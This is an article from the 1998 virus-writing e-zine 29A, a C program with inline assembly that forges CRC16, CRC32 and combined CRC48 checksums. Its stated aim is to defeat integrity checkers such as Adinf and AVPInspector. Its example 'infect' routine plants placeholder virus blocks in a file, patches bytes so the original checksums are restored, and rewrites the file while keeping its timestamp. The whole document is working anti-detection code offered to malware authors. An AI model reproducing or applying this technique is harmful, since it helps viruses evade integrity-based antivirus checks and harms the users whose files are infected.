Copy Link
Add to Bookmark
Report
29A Issue 03 03 03
// Title : How to fuck CRC16, CRC32, CRC48 for Adinf, AVPInspector, etc.
// Status : Freeware
// Author : Zhengxi
// Compiler : Watcom C 10.0b
// Target : Win32 console application
// Libraries : Nothing
// StartWork : 08.12.98
// LastChange : 10.12.98
#include <io.h>
#include <fcntl.h>
#include <stdio.h>
#include <malloc.h>
#include <time.h>
#include <dos.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#define MAGIC16 0xA001
#define MAGIC32 0xEDB88320
#ifdef __INLINE_FUNCTIONS__
unsigned long xcrc16( unsigned char *ptr,
unsigned long size,
unsigned long crc );
unsigned long rcrc16( unsigned char *ptr,
unsigned long size,
unsigned long crc );
unsigned long xcrc32( unsigned char *ptr,
unsigned long size,
unsigned long crc );
unsigned long rcrc32( unsigned char *ptr,
unsigned long size,
unsigned long crc );
#pragma aux xcrc16 = \
" jecxz @@4 "\
"@@1: xor al, [edx] "\
" inc edx "\
" mov bl, 8 "\
"@@2: shr eax, 1 "\
" jnc @@3 "\
" xor ax, 0xA001 "\
"@@3: dec bl "\
" jnz @@2 "\
" loop @@1 "\
"@@4: " parm [edx][ecx][eax] value [eax] modify [ebx];
#pragma aux rcrc16 = \
" jecxz @@4 "\
"@@1: xor ah, [edx][ecx-1] "\
" mov bl, 8 "\
"@@2: shl ax, 1 "\
" jnc @@3 "\
" xor ax, 0x4003 "\
"@@3: dec bl "\
" jnz @@2 "\
" loop @@1 "\
"@@4: " parm [edx][ecx][eax] value [eax] modify [ebx];
#pragma aux xcrc32 = \
" jecxz @@4 "\
" not eax "\
"@@1: xor al, [edx] "\
" inc edx "\
" mov bl, 8 "\
"@@2: shr eax, 1 "\
" jnc @@3 "\
" xor eax, 0xEDB88320 "\
"@@3: dec bl "\
" jnz @@2 "\
" loop @@1 "\
" not eax "\
"@@4: " parm [edx][ecx][eax] value [eax] modify [ebx];
#pragma aux rcrc32 = \
" jecxz @@4 "\
" not eax "\
"@@1: movzx ebx, [edx][ecx-1] "\
" shl ebx, 24 "\
" xor eax, ebx "\
" mov bl, 8 "\
"@@2: shl eax, 1 "\
" jnc @@3 "\
" xor eax, 0xDB710641 "\
"@@3: dec bl "\
" jnz @@2 "\
" loop @@1 "\
" not eax "\
"@@4: " parm [edx][ecx][eax] value [eax] modify [ebx];
#else // __INLINE_FUNCTIONS__
unsigned long xcrc16( unsigned char *ptr,
unsigned long size,
unsigned long crc )
{
while(size-- != 0)
{
unsigned long i;
unsigned long c=*ptr++;
for( i=0; i<8; i++)
{
if( (crc^c)&1 )
crc = (crc>>1) ^ MAGIC16;
else
crc = (crc>>1);
c>>=1;
}
}
return crc & 0x0000FFFF;
}
unsigned long rcrc16( unsigned char *ptr,
unsigned long size,
unsigned long crc )
{
while(size-- != 0)
{
unsigned long i;
unsigned long c=ptr[size]<<8;
for( i=0; i<8; i++)
{
if( (crc^c)&0x8000 )
crc = (crc<<1) ^ ((MAGIC16<<1)^1);
else
crc = (crc<<1);
c<<=1;
}
}
return crc & 0x0000FFFF;
}
unsigned long xcrc32( unsigned char *ptr,
unsigned long size,
unsigned long crc )
{
crc = ~crc;
while(size-- != 0)
{
unsigned long i;
unsigned long c = *ptr++;
for( i=0; i<8; i++)
{
if (((crc^c)&1)!=0)
crc = (crc>>1) ^ MAGIC32;
else
crc = (crc>>1);
c>>=1;
}
}
return ~crc;
}
unsigned long rcrc32( unsigned char *ptr,
unsigned long size,
unsigned long crc )
{
crc = ~crc;
while(size-- != 0)
{
unsigned long i;
unsigned long c = ptr[size]<<24;
for( i=0; i<8; i++)
{
if (((crc^c)&0x80000000)!=0)
crc = (crc<<1) ^ ((MAGIC32<<1)^1);
else
crc = (crc<<1);
c<<=1;
}
}
return ~crc;
}
#endif // __INLINE_FUNCTIONS__
void fuckcrc16( unsigned char *ptr,
unsigned long size,
unsigned long offset,
unsigned long wantcrc,
unsigned long crc )
{
*(unsigned short*)(ptr+offset) = xcrc16( ptr, offset, crc ) ^
rcrc16( ptr+2+offset, size-(2+offset), rcrc16( (void*)&wantcrc, 2, 0
);
}
void fuckcrc32( unsigned char *ptr,
unsigned long size,
unsigned long offset,
unsigned long wantcrc,
unsigned long crc )
{
*(unsigned long*)(ptr+offset) = xcrc32( ptr, offset, crc ) ^
rcrc32( ptr+4+offset, size-(4+offset), rcrc32( (void*)&wantcrc, 4, 0
);
}
void fuckcrc48( unsigned char *ptr,
unsigned long size,
unsigned long offset,
unsigned long wantcrc16,
unsigned long wantcrc32,
unsigned long crc16,
unsigned long crc32 )
{
unsigned i;
crc16 = xcrc16( ptr, offset, crc16 );
crc32 = xcrc32( ptr, offset, crc32 );
ptr+=offset;
for( i=size-1-offset; i>=6; i--)
wantcrc16 = rcrc16( "\x00", 1, wantcrc16 ) ^ ptr[i];
wantcrc32 = rcrc32( ptr+6, size-(6+offset),
rcrc32( (void*)&wantcrc32, 4, 0 ) );
for( *(unsigned short*)ptr=0; ;
(*(unsigned short*)ptr)++ )
{
*(unsigned long*)(ptr+2) = wantcrc32 ^
xcrc32( ptr, 2, crc32 );
if( xcrc16( ptr, 6, crc16 )==wantcrc16 )
break;
}
}
//--example-------------------------------------------------------------
#define FUCK16
#define FUCK32
#define VERIFY
void printcrcs( char*ptr, int len )
{
printf("CRC16=%.4X CRC32=%.8X\n", xcrc16(ptr,len,0), xcrc32(ptr,len,0) );
}
unsigned char* infect( unsigned char* original, unsigned long size )
{
unsigned long i;
unsigned char* infected = malloc( size );
assert( infected );
memcpy( infected, original, size );
memcpy( infected, "(---------jmp-to-virus---------)", 0x20 );
memcpy( infected+size-0x80, "(----------virus-body---------->", 0x20 );
for( i=size-0x60; i<size-0x20; i++)
infected[i] = rand();
memcpy( infected+size-0x20, "<----------virus-body----------)", 0x20 );
return infected;
}
void main(int argc, char**argv)
{
unsigned char *infected, *original;
unsigned long size, offset;
unsigned long crc16, crc32;
srand(time(0));
if( argc==1 )
{
unsigned long i;
printf( " Filename : random array in memory\n" );
size = 0x100 + rand()*32 + rand();
original = malloc(size);
assert( original );
for( i=0; i<size; i++)
original[i] = rand();
} else {
int handle = open( argv[1], O_RDONLY | O_BINARY, 0 );
assert( handle>0 );
printf( " Filename : %s\n", argv[1] );
size = filelength( handle );
original = malloc( size );
assert( original );
read( handle, original, size );
close( handle );
}
do
offset = rand();
while( 0x20>offset || offset>size-0x86 );
printf( " Filesize : %d bytes\n", size );
printf( " Patch offset : %d\n", offset );
crc16 = xcrc16( original, size, 0 );
crc32 = xcrc32( original, size, 0 );
printf( " Original file : CRC16=%.4X CRC32=%.8X\n", crc16, crc32 );
infected = infect( original, size );
#if defined(VERIFY)
printf(" Infected file 1 : "); printcrcs( infected, size );
#endif // VERIFY
// restore crc
#if defined(FUCK16) && defined(FUCK32)
fuckcrc48( infected, size, offset, crc16, crc32, 0, 0 );
#elif defined(FUCK16)
fuckcrc16( infected, size, offset, crc16, 0 );
#elif defined(FUCK32)
fuckcrc32( infected, size, offset, crc32, 0 );
#else
# error
#endif
#if defined(VERIFY)
printf(" Infected file 2 : "); printcrcs( infected, size );
#if defined(FUCK16)
assert( crc16 == xcrc16( original, size, 0 ) );
#endif // FUCK16
#if defined(FUCK32)
assert( crc32 == xcrc32( original, size, 0 ) );
#endif // FUCK32
#endif // VERIFY
if( argc!=1 )
{
unsigned short ftime, fdate;
int handle = open( argv[1], O_WRONLY | O_CREAT | O_TRUNC | O_BINARY,
S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP );
assert( handle>0 );
_dos_getftime( handle, &fdate, &ftime );
write( handle, infected, size );
_dos_setftime( handle, fdate, ftime );
close( handle );
}
free( infected );
free( original );
}